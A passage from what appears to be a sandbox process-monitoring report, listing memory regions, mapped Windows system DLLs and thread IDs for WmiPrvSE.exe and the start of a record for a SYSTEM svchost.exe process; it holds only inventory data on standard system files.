	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:000546d5" [0xc000000f]

Region:
	              id = 1387
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1388
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 1389
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1390
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 1391
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1392
	        start_va = 0xc0000
	          end_va = 0x1bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000c0000"
	        filename = ""

Region:
	              id = 1393
	        start_va = 0x1c0000
	          end_va = 0x1c0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001c0000"
	        filename = ""

Region:
	              id = 1394
	        start_va = 0x1d0000
	          end_va = 0x1d6fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001d0000"
	        filename = ""

Region:
	              id = 1395
	        start_va = 0x1e0000
	          end_va = 0x1e1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001e0000"
	        filename = ""

Region:
	              id = 1396
	        start_va = 0x1f0000
	          end_va = 0x26ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001f0000"
	        filename = ""

Region:
	              id = 1397
	        start_va = 0x270000
	          end_va = 0x3f7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000270000"
	        filename = ""

Region:
	              id = 1398
	        start_va = 0x400000
	          end_va = 0x4fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000400000"
	        filename = ""

Region:
	              id = 1399
	        start_va = 0x500000
	          end_va = 0x680fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000500000"
	        filename = ""

Region:
	              id = 1400
	        start_va = 0x690000
	          end_va = 0x690fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000690000"
	        filename = ""

Region:
	              id = 1401
	        start_va = 0x6a0000
	          end_va = 0x6a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000006a0000"
	        filename = ""

Region:
	              id = 1402
	        start_va = 0x6b0000
	          end_va = 0x6bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000006b0000"
	        filename = ""

Region:
	              id = 1403
	        start_va = 0x6c0000
	          end_va = 0x77ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000006c0000"
	        filename = ""

Region:
	              id = 1404
	        start_va = 0x780000
	          end_va = 0x87ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000780000"
	        filename = ""

Region:
	              id = 1405
	        start_va = 0x880000
	          end_va = 0x880fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000880000"
	        filename = ""

Region:
	              id = 1406
	        start_va = 0x8e0000
	          end_va = 0x95ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000008e0000"
	        filename = ""

Region:
	              id = 1407
	        start_va = 0x960000
	          end_va = 0xc2efff
	     entry_point = 0x960000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 1408
	        start_va = 0xc30000
	          end_va = 0x1022fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000c30000"
	        filename = ""

Region:
	              id = 1409
	        start_va = 0x1050000
	          end_va = 0x10cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001050000"
	        filename = ""

Region:
	              id = 1410
	        start_va = 0x1130000
	          end_va = 0x11affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001130000"
	        filename = ""

Region:
	              id = 1411
	        start_va = 0x11b0000
	          end_va = 0x122ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000011b0000"
	        filename = ""

Region:
	              id = 1412
	        start_va = 0x1300000
	          end_va = 0x137ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001300000"
	        filename = ""

Region:
	              id = 1413
	        start_va = 0x13c0000
	          end_va = 0x143ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000013c0000"
	        filename = ""

Region:
	              id = 1414
	        start_va = 0x1540000
	          end_va = 0x15bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001540000"
	        filename = ""

Region:
	              id = 1415
	        start_va = 0x777e0000
	          end_va = 0x778fefff
	     entry_point = 0x777e0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1416
	        start_va = 0x77900000
	          end_va = 0x779f9fff
	     entry_point = 0x77900000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1417
	        start_va = 0x77a00000
	          end_va = 0x77ba8fff
	     entry_point = 0x77a00000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1418
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1419
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1420
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1421
	        start_va = 0xff0d0000
	          end_va = 0xff12efff
	     entry_point = 0xff0d0000
	     region_type = mapped_file
	            name = "wmiprvse.exe"
	        filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe")

Region:
	              id = 1422
	        start_va = 0x7fef8510000
	          end_va = 0x7fef8525fff
	     entry_point = 0x7fef8510000
	     region_type = mapped_file
	            name = "ncobjapi.dll"
	        filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll")

Region:
	              id = 1423
	        start_va = 0x7fef8730000
	          end_va = 0x7fef8743fff
	     entry_point = 0x7fef8730000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 1424
	        start_va = 0x7fef94c0000
	          end_va = 0x7fef94cefff
	     entry_point = 0x7fef94c0000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 1425
	        start_va = 0x7fef94e0000
	          end_va = 0x7fef9506fff
	     entry_point = 0x7fef94e0000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")

Region:
	              id = 1426
	        start_va = 0x7fef9510000
	          end_va = 0x7fef95f1fff
	     entry_point = 0x7fef9510000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 1427
	        start_va = 0x7fef99b0000
	          end_va = 0x7fef9a35fff
	     entry_point = 0x7fef99b0000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 1428
	        start_va = 0x7fefc6b0000
	          end_va = 0x7fefc6dcfff
	     entry_point = 0x7fefc6b0000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 1429
	        start_va = 0x7fefcf40000
	          end_va = 0x7fefcf86fff
	     entry_point = 0x7fefcf40000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 1430
	        start_va = 0x7fefd240000
	          end_va = 0x7fefd256fff
	     entry_point = 0x7fefd240000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 1431
	        start_va = 0x7fefd840000
	          end_va = 0x7fefd84efff
	     entry_point = 0x7fefd840000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 1432
	        start_va = 0x7fefd930000
	          end_va = 0x7fefd943fff
	     entry_point = 0x7fefd930000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 1433
	        start_va = 0x7fefda00000
	          end_va = 0x7fefda6afff
	     entry_point = 0x7fefda00000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1434
	        start_va = 0x7fefdd20000
	          end_va = 0x7fefdd86fff
	     entry_point = 0x7fefdd20000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1435
	        start_va = 0x7fefdd90000
	          end_va = 0x7fefdd97fff
	     entry_point = 0x7fefdd90000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 1436
	        start_va = 0x7fefdda0000
	          end_va = 0x7fefde76fff
	     entry_point = 0x7fefdda0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 1437
	        start_va = 0x7fefde80000
	          end_va = 0x7fefdf1efff
	     entry_point = 0x7fefde80000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1438
	        start_va = 0x7fefe040000
	          end_va = 0x7fefe242fff
	     entry_point = 0x7fefe040000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 1439
	        start_va = 0x7fefe4b0000
	          end_va = 0x7fefe58afff
	     entry_point = 0x7fefe4b0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 1440
	        start_va = 0x7fefe920000
	          end_va = 0x7fefe9b8fff
	     entry_point = 0x7fefe920000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 1441
	        start_va = 0x7feff750000
	          end_va = 0x7feff76efff
	     entry_point = 0x7feff750000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1442
	        start_va = 0x7feff770000
	          end_va = 0x7feff838fff
	     entry_point = 0x7feff770000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 1443
	        start_va = 0x7feff840000
	          end_va = 0x7feff891fff
	     entry_point = 0x7feff840000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 1444
	        start_va = 0x7feffa40000
	          end_va = 0x7feffb6cfff
	     entry_point = 0x7feffa40000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 1445
	        start_va = 0x7feffb70000
	          end_va = 0x7feffc78fff
	     entry_point = 0x7feffb70000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1446
	        start_va = 0x7feffc80000
	          end_va = 0x7feffcccfff
	     entry_point = 0x7feffc80000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 1447
	        start_va = 0x7feffcd0000
	          end_va = 0x7feffcfdfff
	     entry_point = 0x7feffcd0000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1448
	        start_va = 0x7feffd00000
	          end_va = 0x7feffd0dfff
	     entry_point = 0x7feffd00000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 1449
	        start_va = 0x7feffd20000
	          end_va = 0x7feffd20fff
	     entry_point = 0x7feffd20000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1450
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 1451
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 1452
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 1453
	        start_va = 0x7fffffd4000
	          end_va = 0x7fffffd5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd4000"
	        filename = ""

Region:
	              id = 1454
	        start_va = 0x7fffffd6000
	          end_va = 0x7fffffd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd6000"
	        filename = ""

Region:
	              id = 1455
	        start_va = 0x7fffffd8000
	          end_va = 0x7fffffd9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd8000"
	        filename = ""

Region:
	              id = 1456
	        start_va = 0x7fffffda000
	          end_va = 0x7fffffdbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffda000"
	        filename = ""

Region:
	              id = 1457
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 1458
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 1459
	        start_va = 0x7fef8700000
	          end_va = 0x7fef8725fff
	     entry_point = 0x7fef8700000
	     region_type = mapped_file
	            name = "wmiutils.dll"
	        filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")

Region:
	              id = 1464
	        start_va = 0x7fef4910000
	          end_va = 0x7fef4b09fff
	     entry_point = 0x7fef4910000
	     region_type = mapped_file
	            name = "cimwin32.dll"
	        filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll")

Region:
	              id = 1465
	        start_va = 0x7fef4d60000
	          end_va = 0x7fef4dabfff
	     entry_point = 0x7fef4d60000
	     region_type = mapped_file
	            name = "framedynos.dll"
	        filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll")

Region:
	              id = 1466
	        start_va = 0x7fefc050000
	          end_va = 0x7fefc060fff
	     entry_point = 0x7fefc050000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 1467
	        start_va = 0x7fefd810000
	          end_va = 0x7fefd834fff
	     entry_point = 0x7fefd810000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 1491
	        start_va = 0x890000
	          end_va = 0x891fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000890000"
	        filename = ""

Region:
	              id = 1492
	        start_va = 0x15f0000
	          end_va = 0x166ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000015f0000"
	        filename = ""

Region:
	              id = 1493
	        start_va = 0x1670000
	          end_va = 0x19b2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001670000"
	        filename = ""

Region:
	              id = 1494
	        start_va = 0x75110000
	          end_va = 0x75112fff
	     entry_point = 0x75110000
	     region_type = mapped_file
	            name = "wmi.dll"
	        filename = "\\Windows\\System32\\wmi.dll" (normalized: "c:\\windows\\system32\\wmi.dll")

Region:
	              id = 1495
	        start_va = 0x7fef99a0000
	          end_va = 0x7fef99aafff
	     entry_point = 0x7fef99a0000
	     region_type = mapped_file
	            name = "perfos.dll"
	        filename = "\\Windows\\System32\\perfos.dll" (normalized: "c:\\windows\\system32\\perfos.dll")

Region:
	              id = 1496
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 1543
	        start_va = 0x8a0000
	          end_va = 0x8a2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000008a0000"
	        filename = ""

Region:
	              id = 1544
	        start_va = 0x1440000
	          end_va = 0x153ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001440000"
	        filename = ""

Region:
	              id = 1545
	        start_va = 0x1b00000
	          end_va = 0x1b0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001b00000"
	        filename = ""

Region:
	              id = 1546
	        start_va = 0x7fef9990000
	          end_va = 0x7fef9997fff
	     entry_point = 0x7fef9990000
	     region_type = mapped_file
	            name = "winbrand.dll"
	        filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll")

Region:
	              id = 1547
	        start_va = 0x75100000
	          end_va = 0x75102fff
	     entry_point = 0x75100000
	     region_type = mapped_file
	            name = "security.dll"
	        filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll")

Region:
	              id = 1548
	        start_va = 0x7fefd660000
	          end_va = 0x7fefd66afff
	     entry_point = 0x7fefd660000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 1549
	        start_va = 0x7fefce10000
	          end_va = 0x7fefce19fff
	     entry_point = 0x7fefce10000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 1550
	        start_va = 0x7fefcfd0000
	          end_va = 0x7fefd026fff
	     entry_point = 0x7fefcfd0000
	     region_type = mapped_file
	            name = "schannel.dll"
	        filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll")

Region:
	              id = 1551
	        start_va = 0x7fefd9f0000
	          end_va = 0x7fefd9fefff
	     entry_point = 0x7fefd9f0000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 1552
	        start_va = 0x7fefdad0000
	          end_va = 0x7fefdc36fff
	     entry_point = 0x7fefdad0000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 1553
	        start_va = 0x8b0000
	          end_va = 0x8b4fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000008b0000"
	        filename = ""

Region:
	              id = 1554
	        start_va = 0x1a60000
	          end_va = 0x1adffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001a60000"
	        filename = ""

Region:
	              id = 1555
	        start_va = 0x1b10000
	          end_va = 0x1c0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001b10000"
	        filename = ""

Region:
	              id = 1556
	        start_va = 0x7fefbd00000
	          end_va = 0x7fefbd14fff
	     entry_point = 0x7fefbd00000
	     region_type = mapped_file
	            name = "wkscli.dll"
	        filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")

Region:
	              id = 1557
	        start_va = 0x7fefbd20000
	          end_va = 0x7fefbd2bfff
	     entry_point = 0x7fefbd20000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")

Region:
	              id = 1558
	        start_va = 0x7fefbd30000
	          end_va = 0x7fefbd45fff
	     entry_point = 0x7fefbd30000
	     region_type = mapped_file
	            name = "netapi32.dll"
	        filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll")

Region:
	              id = 1559
	        start_va = 0x7fefd500000
	          end_va = 0x7fefd522fff
	     entry_point = 0x7fefd500000
	     region_type = mapped_file
	            name = "srvcli.dll"
	        filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll")

Region:
	              id = 1560
	        start_va = 0x7fffffa8000
	          end_va = 0x7fffffa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa8000"
	        filename = ""

Region:
	              id = 1561
	        start_va = 0x7fefb110000
	          end_va = 0x7fefb123fff
	     entry_point = 0x7fefb110000
	     region_type = mapped_file
	            name = "samcli.dll"
	        filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll")

Region:
	              id = 1562
	        start_va = 0x7fefd030000
	          end_va = 0x7fefd05ffff
	     entry_point = 0x7fefd030000
	     region_type = mapped_file
	            name = "logoncli.dll"
	        filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll")

Region:
	              id = 1563
	        start_va = 0x7fef9760000
	          end_va = 0x7fef9771fff
	     entry_point = 0x7fef9760000
	     region_type = mapped_file
	            name = "browcli.dll"
	        filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll")

Region:
	              id = 1564
	        start_va = 0x7fef97a0000
	          end_va = 0x7fef97a9fff
	     entry_point = 0x7fef97a0000
	     region_type = mapped_file
	            name = "schedcli.dll"
	        filename = "\\Windows\\System32\\schedcli.dll" (normalized: "c:\\windows\\system32\\schedcli.dll")

Region:
	              id = 1565
	        start_va = 0x7fefc0f0000
	          end_va = 0x7fefc0fbfff
	     entry_point = 0x7fefc0f0000
	     region_type = mapped_file
	            name = "dsrole.dll"
	        filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll")

Region:
	              id = 1566
	        start_va = 0x7fefa6d0000
	          end_va = 0x7fefa6defff
	     entry_point = 0x7fefa6d0000
	     region_type = mapped_file
	            name = "cscapi.dll"
	        filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll")

Region:
	              id = 1567
	        start_va = 0x7fef5e10000
	          end_va = 0x7fef5e3bfff
	     entry_point = 0x7fef5e10000
	     region_type = mapped_file
	            name = "wmipcima.dll"
	        filename = "\\Windows\\System32\\wbem\\wmipcima.dll" (normalized: "c:\\windows\\system32\\wbem\\wmipcima.dll")

Region:
	              id = 1568
	        start_va = 0x7fefda70000
	          end_va = 0x7fefda89fff
	     entry_point = 0x7fefda70000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 1569
	        start_va = 0x7fefdce0000
	          end_va = 0x7fefdd15fff
	     entry_point = 0x7fefdce0000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 1570
	        start_va = 0x7fefd8f0000
	          end_va = 0x7fefd92cfff
	     entry_point = 0x7fefd8f0000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 1571
	        start_va = 0x7fefc890000
	          end_va = 0x7fefc8bbfff
	     entry_point = 0x7fefc890000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 1572
	        start_va = 0x7fefe250000
	          end_va = 0x7fefe426fff
	     entry_point = 0x7fefe250000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")


Thread:
	id = 92
	os_tid = 0xa74


Thread:
	id = 93
	os_tid = 0xa70


Thread:
	id = 94
	os_tid = 0xa6c


Thread:
	id = 95
	os_tid = 0xa68


Thread:
	id = 96
	os_tid = 0xa64


Thread:
	id = 97
	os_tid = 0xa5c


Thread:
	id = 98
	os_tid = 0xa58


Thread:
	id = 100
	os_tid = 0xa7c


Thread:
	id = 111
	os_tid = 0xb30


Thread:
	id = 140
	os_tid = 0x7bc


Thread:
	id = 142
	os_tid = 0x95c


Process:
	id = "7"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x26ddb000"
	os_pid = "0x300"
	os_integrity_level = "0x4000"
	os_privileges = "0x60b56080"
	monitor_reason = "rpc_server"
	parent_id = "5"
	os_parent_pid = "0x328"
	cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000a268" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 1625
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1626
	        start_va = 0x20000
	          end_va = 0x26fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 1627
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
